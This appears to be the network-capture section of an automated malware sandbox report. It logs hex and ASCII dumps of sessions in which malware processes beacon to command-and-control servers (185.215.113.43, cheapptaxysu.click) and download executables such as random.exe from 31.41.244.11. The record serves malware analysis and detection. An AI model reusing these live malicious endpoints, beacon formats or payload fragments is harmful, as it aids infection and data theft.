Dec 19, 2024 03:09:48.306862116 CET	1236	IN	Data Raw: d6 c1 3f 50 fd a7 5a 20 30 03 e4 09 ed 36 3a 44 d2 c7 4e 5b 56 be 51 b5 7a 48 9d da 83 72 66 de 5f e2 f3 6d 02 2c 5a f8 d3 3c 87 9c 90 42 aa fc 01 c1 cd 9e 78 a7 ed 20 65 ef 93 61 ec 56 d1 e5 d2 59 45 59 3f 71 db 7c 22 f4 e3 62 6f 65 35 79 4c c6 Data Ascii: ?PZ 06:DN[VQzHrf_m,Z<Bx eaVYEY?q\|"boe5yL5y[CgJqFBSo_d_4T5^r4WMWYedyty-~SWMRk5"`Qw`4r4WE'5Xrpg*aYh$cr`Y4cX!eq$i
Dec 19, 2024 03:09:48.306873083 CET	1236	IN	Data Raw: f4 f2 bd 7f 3e 79 9d 2d eb bb 5c 9d b3 81 7b 66 a4 a1 51 0f 6a ce c1 ef 32 dd d2 35 4d f7 6a 8c 6a b9 b0 ea d2 f6 5c 94 00 f2 12 9f e6 7e c2 b4 e6 37 8b 73 79 33 45 d5 a2 99 45 7c f4 03 88 62 4c 65 29 d3 88 08 a1 cf 4a 6e 86 68 90 ff f6 f8 18 c1 Data Ascii: >y-\{fQj25Mjj\~7sy3EE\|bLe)Jnh'kPpluXg0@B2L]i(cW^L-c~?{!"Mc>fGh;l!J_pDfxY.O->l[QA.oh5jim(R&$R
Dec 19, 2024 03:09:48.306881905 CET	1236	IN	Data Raw: 64 e7 cc 24 bf a2 74 8c 4c 48 06 bc 59 ed 48 82 a3 16 94 dc f7 48 fc b1 18 69 df 3c 4d dd 00 d8 14 5b 50 a8 94 38 54 d6 7a 21 3b 4f 83 4e cd 30 71 23 bb 3a 4d bf 37 37 a7 79 71 18 6d 0f 27 25 77 7a a8 4e 4c ec 49 44 13 ed 48 c9 b5 4b b2 e3 5e 5f Data Ascii: d$tLHYHHi<M[P8Tz!;ON0q#:M77yqm'%wzNLIDHK^_ILHLgIiF6T'_eh#k4r[8abe\1<85rh=MI: tDG~\|,i_\|7GH-! $,6MeYhHH3
Dec 19, 2024 03:09:48.425369024 CET	1236	IN	Data Raw: 28 91 d6 78 af be b7 1e 3e db 8f 24 bc 0f 44 3f 59 b3 42 df 7a 73 da 4c 94 1a 64 18 1a 68 d8 94 18 69 07 6e 9e 78 4c 4d 65 56 eb 78 18 0a 52 7c 7b dd c1 85 e6 d0 5a 45 18 25 8d 5f ec 6b 9b 0b d3 19 45 b4 03 ac 4d 7c 22 29 f0 62 eb 7d b4 b7 1d 9e Data Ascii: (x>$D?YBzsLdhinxLMeVxR\|{ZE%_kEM\|")b}`t9}.be?U41rV$bXr*JKyN-Q%,RCdXvpVc.V1I?BxLV dQp-AT8GLHRd#cX~prM+v R$s>Kp

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49942	176.53.146.212	80	2164	C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 03:09:49.307301044 CET	123	OUT	GET /hLfzXsaqNtoEGyaUtOMJ1734514745?argument=hUVxu2Vrg4cEhZp41734574187 HTTP/1.1 Host: home.fivetk5vt.top Accept: /
Dec 19, 2024 03:09:50.858509064 CET	1236	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Thu, 19 Dec 2024 02:09:50 GMT content-type: application/octet-stream content-length: 10816560 content-disposition: attachment; filename="3EoRfJgTGTVJkI;" last-modified: Wed, 18 Dec 2024 09:39:05 GMT cache-control: no-cache etag: "1734514745.3970041-10816560-1399330581" Data Raw: 1f d3 b8 f9 48 23 e6 ab e2 6f 4e 39 34 0e 37 71 e9 15 f5 d5 48 ac a9 8e 73 ae ae 8f 65 19 a3 59 2b 9b f9 5b 59 41 77 f8 92 f5 c2 cb 78 d2 d7 ba 88 44 aa 97 9b 59 23 e7 96 54 07 b2 3b 56 ad 75 9b 9f f3 b3 36 90 d6 d3 a9 67 51 92 ec b7 f0 f6 ba 0c c4 82 82 60 82 8a 0c aa 9c cb 03 03 c4 22 72 c1 2c 7a bd c2 21 aa 3c 2c 1c c6 94 94 9d 86 39 d7 db 82 46 f1 3a 04 14 24 07 20 ee f8 2a f7 58 eb f6 99 45 57 be 23 73 1b 76 33 bc 7b fd 30 8c bc 1c f0 ea a8 2e 8d 4d 1d 72 9e c6 2b 66 29 4c ad 5f 01 9b ff 3d b8 79 46 ea 95 db 24 8e aa ea eb 3f 5a 5d be fc 0f b9 f1 28 2b fc 0d f5 43 d0 f1 bd b0 29 47 21 99 56 ff d2 b8 72 2e 77 5c e3 c3 34 86 06 45 1b 3b ac 42 23 51 dc cc 26 97 7e 54 79 52 94 e6 86 aa 8f e8 2d 29 a8 c0 64 28 b3 7b e5 f5 2b 2c fa 54 c5 02 06 a3 e5 00 4a 3f 8d 60 b6 da 9c 71 2f d1 02 d4 88 d7 b6 3f 11 76 d8 2a a7 f1 c8 a4 44 86 6d 16 20 f9 8f 3e 13 09 5f ca 88 3c 27 83 f4 3b d6 df de 7b 33 4e f1 08 0f b2 cc a7 08 ff d9 f5 d3 e7 87 f0 cb e8 48 86 6d 17 05 0e 97 63 79 74 b4 92 ea 78 1f 34 f7 15 b7 2c [TRUNCATED] Data Ascii: H#oN947qHseY+[YAwxDY#T;Vu6gQ`"r,z!<,9F:$ XEW#sv3{0.Mr+f)L_=yF$?Z](+C)G!Vr.w\4E;B#Q&~TyR-)d({+,TJ?`q/?vDm >_<';{3NHmcytx4,QDOXKQ:S: z3NhJe9 m9RweCqLq4xA^0q=:%69cbmNT~D`}S=G$\|R)07opsQ[bJ~\/tMy_Pr?y9+(fw%H "<N88*DE}X@_B9uI3[>>$tQ2jm\$^!N\"fJ/a.(3=3AB7eS_tRCma6qo?Dz@(UZ^g{) ??oeOHE&Dy1%KS/TD=A]4tF16k50S,bbHs9P/1JhcA(,_ow0swHv=m/@"=Alst>E4,G2X{{Al8M
Dec 19, 2024 03:09:50.858678102 CET	1236	IN	Data Raw: 5d ac f4 d9 8c d0 32 0f 96 13 e5 2d 8a b3 60 9a 31 5d 6f 19 a1 97 e5 ef 19 35 3e a2 80 74 8a 20 18 bd 80 5f de e5 db 19 40 4a 9f 22 59 e9 1d d7 b9 35 12 85 ba 1c 84 c2 cf 36 cc 45 05 80 35 ce 1a 47 a3 e8 17 e3 a0 96 e4 d0 39 46 58 c9 61 70 95 1d Data Ascii: ]2-`1]o5>t _@J"Y56E5G9FXap{;#gJ0rAt.^Zvmer*BP&BkGB{{(akOLe(%r{IA6mcXq'AuQd?7rD41)L%#[:j8e
Dec 19, 2024 03:09:50.858690023 CET	448	IN	Data Raw: 50 7b 6c 0a 76 1c f4 5d 07 1d b1 08 6a a4 54 91 6c 08 e1 06 0c 76 2c a2 19 8c 3c 1f cc f5 2c 94 da d4 42 bb c9 dc 70 00 24 4a e9 09 53 e3 7e 91 d6 ea 21 0f 52 ee 79 64 e1 e8 48 ff 56 28 e6 0e 63 74 97 33 06 ce e6 43 da b3 66 1c 8f 5b 2a fc 66 11 Data Ascii: P{lv]jTlv,<,Bp$JS~!RydHV(ct3Cf[fp3iFw\x;}4:]zfy6L'i6F}0\%LZW6&K*\7OfzQNF!3?2GjIB9Z^5#iZ+W;'R\|]:
Dec 19, 2024 03:09:50.859555960 CET	1236	IN	Data Raw: da 05 85 1e b0 28 ef 3f 79 7e 27 a3 bb bf d6 0d a5 26 42 11 d2 7e e4 9e 54 22 1f 64 87 50 14 e1 df a5 40 5f a1 2b 37 ce 28 e4 dd 5e 7b 1f e1 26 9f 6c a2 b4 2a a5 bb e7 12 9a 22 cf 48 6e ab 4a 0d 16 58 b1 72 18 32 cb 8e 60 9a 7e 8b 4d d9 98 ef 8e Data Ascii: (?y~'&B~T"dP@_+7(^{&l"HnJXr2`~M%78~d's$^9nw_MWg8XlOqRmpoC4+ExY#'\|<M%,a9&%lqF>B ,OH}
Dec 19, 2024 03:09:50.859568119 CET	1236	IN	Data Raw: 2e 04 98 74 d4 1f 28 fb 47 b6 1f 5a a2 b7 4b f9 74 88 e3 f1 9d af 7a 0b a0 d9 5f 4c 33 44 fd 90 8e c4 3f 38 0c c1 4e 28 81 af 38 9f 14 9b 37 b1 c6 a5 80 22 23 7e ec a9 1e 64 27 65 dd 23 01 35 b3 c2 cf e6 a8 b4 b9 5b 23 d7 76 60 e9 d0 40 68 a1 02 Data Ascii: .t(GZKtz_L3D?8N(87"#~d'e#5[#v`@ha'vQ](e[[7^3f;?+6=MSad9M<EnBNvf1]_HR/%pLAsyNS]6G,~c\|Na0^=2fNf:MU7
Dec 19, 2024 03:09:50.860039949 CET	448	IN	Data Raw: 7c 88 fb 98 3c 65 9a d2 b5 ba 6c e3 3a 69 8a 65 c3 e8 79 e9 98 bd 29 88 e2 e7 e7 e3 fc 13 96 33 f5 d0 6e 1f 16 6a 0b 4d 53 7b 0e 7d 40 27 ed f5 4e b3 2d f8 9b c6 8f 2e 36 da 23 8e 9a 9e ab 37 8f cf e0 d1 40 d6 fe 3e 92 85 38 67 d3 18 3c 58 31 ae Data Ascii: \|<el:iey)3njMS{}@'N-.6#7@>8g<X1V>6y}y~zsSj<lYh3=lxv<n#tx7#G01Ky]W"KPmnIG..]B`fqSI6;?_15DJaLMdVVV;W
Dec 19, 2024 03:09:50.860050917 CET	1236	IN	Data Raw: 80 6f aa 62 bc a5 5b ad ba 62 4c 5b fb c2 b2 dc 52 e2 ce 83 34 43 e8 06 ae 4f 67 ec 37 94 88 d3 78 aa 53 d5 3c 90 43 1c 10 7d e2 be 2e 91 48 23 7a 02 c4 24 ef 5c 93 3b 65 49 2e 80 9b 16 01 81 ac 3b 9a 8c ae 66 9f 1c 9e b3 e2 a4 e1 21 4c fa 91 0e Data Ascii: ob[bL[R4COg7xS<C}.H#z$\;eI.;f!L~`l`t%;U1n6===.hv~$T52_3;@Yf$,;lRls8:bf < +[5q{zgN=j=:sakJW6T8Fq
Dec 19, 2024 03:09:50.860063076 CET	224	IN	Data Raw: c1 75 07 f5 22 6d 26 00 43 a2 b5 4b bf 19 7b fe 67 26 5c 40 d4 d0 dd 0c 3e 4b 14 07 b2 f2 2b 6a d9 4d 6c f2 24 ec 10 94 da 79 71 a1 e5 90 7e 8d bf e2 92 68 30 ad 7f 39 c2 dd b6 8f 06 5d 5e 66 87 27 96 91 21 db 86 81 4a 12 0a dd f3 22 fc 56 22 f5 Data Ascii: u"m&CK{g&\@>K+jMl$yq~h09]^f'!J"V"M<+tVT_c@]blDifa{]56foZO_V&zLW QZGg?<a:7c&B'/Nq!W^UC
Dec 19, 2024 03:09:50.860073090 CET	1236	IN	Data Raw: 66 cc cd 03 80 d2 6c 70 ca e0 af c5 7a 04 aa 16 c1 fa a5 59 33 88 de 6c d0 d8 39 2d 8c 06 9e d5 91 2c 3e 7c b4 ec 89 be 39 24 57 b1 cd a1 5c f9 fc ff 62 a1 8c fe 20 0f e9 77 f1 50 b3 df 2e 18 48 ec 98 1c 08 89 a7 22 9f ca 93 58 41 8e 88 0d 91 7f Data Ascii: flpzY3l9-,>\|9$W\b wP.H"XAy4mE f~(qFU8q]!+\|\|Z'@}D6i%5]Wpd}<(ZFf0\|DnuTMg} J}$h>>Au=O[+iIh
Dec 19, 2024 03:09:50.860827923 CET	1236	IN	Data Raw: d5 4f 43 da 6d 52 c0 9a 9b f1 bd 0a 8f a8 ec 41 77 d0 ca e4 8d dd 68 e5 af 8f 45 cf 01 20 1b 57 78 ab be e5 93 86 f6 c6 94 10 df a7 9c 98 b2 eb 16 c1 bf f5 d8 bc f5 3b 76 c4 94 39 dc 18 13 72 43 1d ac 9f ea f3 9a e6 de a1 5e 73 74 ca 96 b4 9f 07 Data Ascii: OCmRAwhE Wx;v9rC^stQ!KxCN1e.Pu7??iuceS2(kE,t2uK79DCs$yu+Cp+`D),k'^C1bM2=e_vV!Qz\|LgeM
Dec 19, 2024 03:09:50.978368998 CET	1236	IN	Data Raw: e5 bc 86 b8 a0 d4 bf 71 db 78 4c ac a6 df 85 42 23 e9 1d 41 01 c6 a5 38 a7 17 c3 86 37 ba 50 ed 41 c3 70 88 2a 8e 5c 24 be 1a 6b 0b 1f 5c 6f e8 13 9b 6b 10 c7 54 46 f5 85 77 2e 71 fc 00 9f 2c 95 5c 92 47 c9 b0 8f 91 a6 e8 b0 c3 a9 d8 aa b5 ec 4f Data Ascii: qxLB#A87PAp\$k\okTFw.q,\GO-Wz/?&)Ed>70\|I(QftQVy{Ir"%$+,e.bXkF)}O CTtE39l8L{t5iK,z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49955	185.215.113.43	80	2272	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 03:09:54.373303890 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 37 32 35 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017257001&unit=246122658369
Dec 19, 2024 03:09:55.710506916 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 02:09:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49960	31.41.244.11	80	2272	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 03:09:55.833970070 CET	59	OUT	GET /files/dodo/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 19, 2024 03:09:57.160485983 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 02:09:56 GMT Content-Type: application/octet-stream Content-Length: 765568 Last-Modified: Tue, 17 Dec 2024 09:46:16 GMT Connection: keep-alive ETag: "67614868-bae80" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 09 00 a3 1e 60 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 aa 01 00 00 c0 00 00 00 00 00 00 52 59 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 0b 00 00 08 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 37 02 00 3c 00 00 00 00 a0 02 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 80 0b 00 80 2e 00 00 00 b0 02 00 40 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 fe 01 00 18 00 00 00 e8 cd 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 28 39 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL`g"RY@@7<.@X(9T.text `.rdata$@@.datal"P>@.bsSST `.tlsV@.rsrcX@@.reloc@Z@B.bsst@.bss`@
Dec 19, 2024 03:09:57.160638094 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 03:09:57.160670042 CET	448	IN	Data Raw: ec 30 8b 5c 24 44 a1 c0 57 42 00 31 e0 89 44 24 2c 8b 43 3c 8b 6c 18 78 8b 44 1d 18 85 c0 0f 84 4f 01 00 00 8b 4c 1d 20 01 d9 89 4c 24 08 48 89 44 24 10 c7 04 24 00 00 00 00 89 5c 24 04 89 6c 24 0c 8b 44 24 08 8b 30 01 de 0f 57 c0 f2 0f 11 44 24 Data Ascii: 0\$DWB1D$,C<lxDOL L$HD$$\$l$D$0WD$$WD$V(w"\|$$D$(WVt$VfSCErPPD$\|$$l$(WVPe\$Dl$t$h5Vm
Dec 19, 2024 03:09:57.160831928 CET	1236	IN	Data Raw: 00 02 00 00 31 c9 88 8c 0c 00 01 00 00 89 c8 99 f7 fe 8a 04 17 88 04 0c 41 81 f9 00 01 00 00 75 e5 31 c0 31 c9 8a 94 04 00 01 00 00 00 d1 02 0c 04 0f b6 f1 8a b4 34 00 01 00 00 88 b4 04 00 01 00 00 88 94 34 00 01 00 00 40 3d 00 01 00 00 75 d4 83 Data Ascii: 1Au1144@=u$1111QQQ(9BCIuhMBheB~P:C$09G9$
Dec 19, 2024 03:09:57.161005020 CET	1236	IN	Data Raw: c4 0c 01 e7 83 c7 10 eb 4b 89 f9 83 c9 0f 83 f9 17 be 16 00 00 00 0f 43 f1 8d 46 01 81 f9 ff 0f 00 00 72 08 50 e8 0f 01 00 00 eb 06 50 e8 ef 11 00 00 83 c4 04 89 c3 89 44 24 10 89 7c 24 20 89 74 24 24 57 55 50 e8 c4 5f 00 00 83 c4 0c 01 df 8d 5c Data Ascii: KCFrPPD$\|$ t$$WUP_\$h5SmD$$r1L$prQ) $VQTWuED$D$E$(L$I!UW49BD$$4$t$
Dec 19, 2024 03:09:57.161037922 CET	448	IN	Data Raw: 51 e8 8c 44 00 00 83 c4 08 c7 06 88 c3 41 00 f2 0f 10 47 0c f2 0f 11 46 0c 89 f0 5e 5f c2 04 00 cc 56 89 ce 8b 44 24 08 c7 01 28 c1 41 00 83 c1 04 31 d2 89 56 08 89 56 04 83 c0 04 51 50 e8 4f 44 00 00 83 c4 08 c7 06 a8 c3 41 00 89 f0 5e c2 04 00 Data Ascii: QDAGF^_VD$(A1VVQPODA^xdBdBd,;`VBhxdBP=xdBuh@hxdB\|V\|$tV^BUSWVPt$D$uJWFFj \
Dec 19, 2024 03:09:57.161367893 CET	1236	IN	Data Raw: c2 08 00 e8 93 fa ff ff cc 8b 44 24 04 8b 54 24 08 89 10 89 48 04 c2 08 00 8b 44 24 04 8b 10 8b 40 04 8b 49 04 33 48 04 33 54 24 08 09 ca 0f 94 c0 c2 08 00 cc 53 57 56 83 ec 0c 8b 74 24 20 8b 44 24 1c 8b 15 c0 57 42 00 31 e2 89 54 24 08 8b 11 89 Data Ascii: D$T$HD$@I3H3T$SWVt$ D$WB1T$PWROVI3J3L$1^_[USWVWB1D$WD$W$t$8l$4\$0wx@Wt$<PXQ
Dec 19, 2024 03:09:57.161401987 CET	1236	IN	Data Raw: 01 fb 8b 74 24 20 56 ff 74 24 20 53 e8 96 54 00 00 83 c4 0c c6 04 1e 00 89 7d 00 89 e8 83 c4 08 5e 5f 5b 5d c2 08 00 89 f8 83 c8 0f 01 d1 39 c8 89 ce 0f 47 f0 89 f0 40 75 0a 31 c0 31 f6 4e e9 13 ff ff ff 3d 00 10 00 00 0f 83 fb fe ff ff 50 e8 64 Data Ascii: t$ Vt$ ST}^_[]9G@u11N=PdhkV@\|u.Dt%L8P4u@DjP}^WVWB1D$V&t!@L8D$Pf1HT
Dec 19, 2024 03:09:57.161434889 CET	448	IN	Data Raw: 57 56 8b 5c 24 14 8b 74 24 10 39 de 74 1b 89 cf 83 c7 08 0f b6 06 57 50 e8 f6 21 00 00 83 c4 08 88 06 46 39 de 75 ec 89 de 89 f0 5e 5f 5b c2 08 00 0f b6 44 24 04 83 c1 08 51 50 e8 d3 21 00 00 83 c4 08 c2 04 00 cc 56 8b 44 24 08 8b 74 24 0c 89 f1 Data Ascii: WV\$t$9tWP!F9u^_[D$QP!VD$t$)QPt$tO^D$VD$t$)QPt$JO^D$Vy~vxv^FtPVD$(A1VVQP78
Dec 19, 2024 03:09:57.161469936 CET	1236	IN	Data Raw: 1c 00 00 b9 cc 69 42 00 e8 ef 03 00 00 68 88 b8 41 00 e8 45 01 00 00 59 c3 68 92 b8 41 00 e8 39 01 00 00 59 c3 55 8b ec eb 0d ff 75 08 e8 a9 65 00 00 59 85 c0 74 0f ff 75 08 e8 28 a0 00 00 59 85 c0 74 e6 5d c3 83 7d 08 ff 0f 84 f2 20 00 00 e9 31 Data Ascii: iBhAEYhA9YUueYtu(Yt]} 1UuY]UEV AtjVYY^]U];WBu!UVWdBW09Bu>u&}>td,dBWBW0:B_
Dec 19, 2024 03:09:57.280421019 CET	1236	IN	Data Raw: ec 56 6a 00 6a 00 e8 93 9b 00 00 8b 75 08 85 c0 59 59 b9 53 03 42 00 0f 45 c8 51 8d 4e 24 e8 41 00 00 00 8b 45 0c 85 c0 74 0a 50 6a 00 e8 6c 9b 00 00 59 59 85 c0 b9 88 0e 42 00 0f 45 c8 51 8d 4e 2c e8 1d 00 00 00 5e 5d c3 55 8b ec 8b 45 08 83 78 Data Ascii: VjjuYYSBEQN$AEtPjlYYBEQN,^]UEx$tp$j>YY]USW}9;t>;t3Y#t*?VtF>u+FVYtVWPH^_[]VV(A?~YtvKYfA^UQj cEY

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49878	104.21.67.146	443	6044	C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 02:09:28 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: cheapptaxysu.click
2024-12-19 02:09:28 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-19 02:09:29 UTC	1140	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 02:09:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lipavlr0r4768t1anjskbali0e; expires=Sun, 13 Apr 2025 19:56:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gcfz94%2B0DdtrPkp%2B%2F9MH%2B6%2Fg9XXzyLkCSgUF3cqdZSSdd5gSIGe36%2F6KmNEUY7i%2Fz9lzOPnBj1KtUKr7KEvAgPfgZG9M%2By2gv7GJWV%2FOBJ2aFfzhjcj5UV72kN1WstnE706yZsE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f43d9cbee304375-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2187&min_rtt=1860&rtt_var=1352&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=909&delivery_rate=651640&cwnd=226&unsent_bytes=0&cid=59864dbd027f1d55&ts=1149&x=0"
2024-12-19 02:09:29 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-19 02:09:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49887	104.21.67.146	443	6044	C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 02:09:31 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 42 Host: cheapptaxysu.click
2024-12-19 02:09:31 UTC	42	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 43 5a 4a 76 73 73 2d 2d 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=CZJvss--&j=
2024-12-19 02:09:31 UTC	1129	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 02:09:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mgl43ge543iuaetmvcqu8105hi; expires=Sun, 13 Apr 2025 19:56:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4CglgzrF1Ximz0CKEFfdgHYwwiE%2Bo6MAhLWmMDwCqkWv3odDvKXIt3JK5n%2F%2F9NG3VDSDOQUBttIcuBsRVOwAjV0A2H%2FUzikn5bgwOgC54w7Vxpf8EgH73V2jlH4Fu8G4Po8gy8M%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f43d9dacec22394-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2010&min_rtt=2010&rtt_var=755&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2843&recv_bytes=944&delivery_rate=1447694&cwnd=252&unsent_bytes=0&cid=a324f937b4ff3058&ts=834&x=0"
2024-12-19 02:09:31 UTC	240	IN	Data Raw: 63 34 32 0d 0a 4f 51 77 50 71 4a 64 32 36 56 6b 4e 71 48 55 39 50 77 47 61 6d 39 2b 72 6a 37 4a 4b 77 4d 49 63 61 4f 4a 57 69 69 6f 49 4a 79 35 43 4c 6e 6d 4b 72 55 4c 46 65 33 37 4e 56 77 64 4c 63 2b 2f 2b 38 34 6e 75 31 6d 6a 36 70 48 30 45 6b 54 4f 6d 43 48 35 4b 44 41 4e 71 62 73 54 6b 45 38 56 37 61 4e 42 58 42 32 52 36 75 50 36 78 69 62 57 51 4c 36 71 67 66 51 53 41 4e 2b 46 46 65 45 74 4e 55 57 42 6f 77 50 49 56 6a 54 68 68 78 52 42 59 57 6d 44 77 39 62 62 47 35 39 39 6f 37 4f 42 35 45 73 42 73 71 47 64 74 55 30 39 30 62 58 7a 44 74 51 76 46 49 69 2f 4e 47 78 38 46 49 2f 76 2b 76 63 66 70 31 69 47 6f 71 6e 51 4d 67 54 4c 67 57 6d 46 42 52 6c 46 75 61 38 48 34 48 4a 6b 31 61 38 49 62 58 6c 42 67 75 4c 66 Data Ascii: c42OQwPqJd26VkNqHU9PwGam9+rj7JKwMIcaOJWiioIJy5CLnmKrULFe37NVwdLc+/+84nu1mj6pH0EkTOmCH5KDANqbsTkE8V7aNBXB2R6uP6xibWQL6qgfQSAN+FFeEtNUWBowPIVjThhxRBYWmDw9bbG599o7OB5EsBsqGdtU090bXzDtQvFIi/NGx8FI/v+vcfp1iGoqnQMgTLgWmFBRlFua8H4HJk1a8IbXlBguLf
2024-12-19 02:09:31 UTC	1369	IN	Data Raw: 39 7a 76 57 51 63 4f 4c 7a 54 41 6d 52 4a 66 31 46 65 6b 4d 4d 52 43 42 30 69 76 49 59 79 32 4d 76 77 68 74 52 57 47 44 33 2f 72 7a 4a 2f 39 38 6f 6f 61 68 32 44 6f 6f 37 35 30 64 6b 54 30 74 54 5a 32 72 46 38 68 79 4e 4e 47 79 4b 57 52 39 61 65 37 69 68 2f 65 6e 39 30 79 75 32 72 57 39 4b 6e 33 72 78 43 47 31 4a 44 41 4d 75 61 38 54 30 47 59 73 70 5a 38 45 63 57 6b 39 6f 38 66 53 77 79 65 44 61 4a 36 47 67 65 51 43 4b 4f 2b 4a 4d 5a 30 68 4b 57 32 34 74 68 4c 55 54 6b 33 73 33 69 6a 52 61 54 57 54 30 37 2f 2f 7a 72 63 39 6d 75 2b 42 35 42 73 42 73 71 45 42 76 52 6b 39 51 59 57 37 43 2f 67 61 4c 4b 57 6e 48 45 6b 31 62 5a 76 62 7a 76 74 76 6e 33 69 36 68 71 58 55 44 68 54 50 73 43 43 51 46 53 30 4d 75 4e 59 72 55 47 59 41 33 5a 64 30 58 48 30 49 74 34 62 Data Ascii: 